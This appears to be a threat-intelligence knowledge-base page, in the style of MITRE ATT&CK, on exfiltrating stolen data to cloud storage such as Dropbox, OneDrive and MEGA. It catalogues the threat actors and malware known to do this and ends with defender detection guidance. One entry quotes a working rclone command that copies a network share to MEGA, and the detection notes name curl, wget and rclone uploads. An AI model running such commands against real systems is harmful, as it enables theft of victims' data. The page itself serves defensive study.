Akira will exfiltrate victim data using applications such asRclone.^[1]

APT41 DUST exfiltrated collected information to OneDrive.^[2]

BoomBox can upload data to dedicated per-victim folders in Dropbox.^[3]

BoxCaon has the capability to download folders' contents on the system and upload the results back to its Dropbox drive.^[4]

DuringC0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using theRclone commandrclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M.^[5]

Chimera has exfiltrated stolen data to OneDrive accounts.^[6]

Cinnamon Tempest has uploaded captured keystroke logs to the Alibaba Cloud Object Storage Service, Aliyun OSS.^[7]

Clambling can send files from a victim's machine to Dropbox.^[8][9]

Confucius has exfiltrated victim data to cloud storage service accounts.^[10]

Contagious Interview has exfiltrated stolen passwords to Dropbox.^[11]

CreepyDrive can use cloud services including OneDrive for data exfiltration.^[12]

Crutch has exfiltrated stolen data to Dropbox.^[13]

Earth Lusca has used the megacmd tool to upload stolen files from a victim network to MEGA.^[14]

Ember Bear has used tools such asRclone to exfiltrate information from victim environments to cloud storage such asmega.nz.^[15]

Empire can use Dropbox for data exfiltration.^[16]

FIN7 has exfiltrated stolen data to the MEGA file sharing site.^[17]

HAFNIUM has exfiltrated data to file sharing sites, including MEGA.^[18]

HAMMERTOSS exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.^[19]

HEXANE has used cloud services, including OneDrive, for data exfiltration.^[12]

Indrik Spider has exfiltrated data usingRclone or MEGASync prior to deploying ransomware.^[20]

Kimsuky has exfiltrated stolen files and data to actor-controlled Blogspot accounts.^[21]Kimsuky has also leveraged Dropbox for uploading victim system information.^[22]

Leviathan has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.^[23][24]

LuminousMoth has exfiltrated data to Google Drive.^[25]

Medusa Group has utilizedRclone to exfiltrate data from victim environments to cloud storage.^[26][27]

Mustang Panda has also exfiltrated archived files to cloud services such as Dropbox usingcurl.^[28][29]

Octopus has exfiltrated data to file sharing sites.^[30]

ODAgent can use an attacker-controlled OneDrive account for exfiltration.^[31]

OilBooster can exfiltrate files to an actor-controlled OneDrive account via the Microsoft Graph API.^[31]

DuringOperation Dream Job,Lazarus Group used a custom build of open-source command-line dbxcli to exfiltrate stolen data to Dropbox.^[32][33]

Pcexter can upload stolen files to OneDrive storage accounts via HTTPPOST.^[34]

POLONIUM has exfiltrated stolen data toPOLONIUM-owned OneDrive and Dropbox accounts.^[12]

RainyDay can use a file exfiltration tool to upload specific files to Dropbox.^[35]

Rclone can exfiltrate data to cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA.^[36][5]

RIFLESPINE can upload results from executed C2 commands to cloud storage.^[37]

ROKRAT can send collected data to cloud storage services such as PCloud.^[38][39]

Scattered Spider has exfiltrated victim data to the MEGA file sharing site, SnowFlake, and AWS S3 buckets.^[40][41][42]

Storm-0501 has exfiltrated stolen data to the MEGA file sharing site.^[43]Storm-0501 has also utilizedRclone to exfiltrate data from victim environments to cloud storage such as MegaSync.^[44]Storm-0501 has exfiltrated data to their own infrastructure utilizing AzCopy Command-Line tool (CLI).^[45]

Threat Group-3390 has exfiltrated stolen data to Dropbox.^[8]

ToddyCat has used a DropBox uploader to exfiltrate stolen files.^[34]

Turla has used WebDAV to upload stolen USB files to a cloud drive.^[46]Turla has also exfiltrated stolen files to OneDrive and 4shared.^[47]

Wizard Spider has exfiltrated stolen victim data to various cloud storage providers.^[48]

ZIRCONIUM has exfiltrated stolen data to Dropbox.^[49]

Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.

Unusual processes (e.g., powershell.exe, excel.exe) accessing large local files and subsequently initiating HTTPS POST requests to domains associated with cloud storage services (e.g., dropbox.com, drive.google.com, box.com). Defender perspective: correlation between file reads in sensitive directories and high outbound traffic volume to known storage APIs.

Processes such as curl, wget, rclone, or custom scripts executing uploads to cloud storage endpoints. Defender perspective: detect chained events where tar/gzip is executed to compress files followed by HTTPS PUT/POST requests to known storage services.

Applications or scripts invoking cloud storage APIs (Dropbox sync, iCloud, Google Drive client) in unexpected contexts. Defender perspective: detect sensitive file reads by non-standard applications followed by unusual encrypted uploads to external cloud storage domains.

Unusual ESXi processes (vmx, hostd) reading datastore files and generating outbound HTTPS traffic toward external cloud storage endpoints. Defender perspective: anomalous datastore activity followed by network transfers to Dropbox, AWS S3, or other storage services.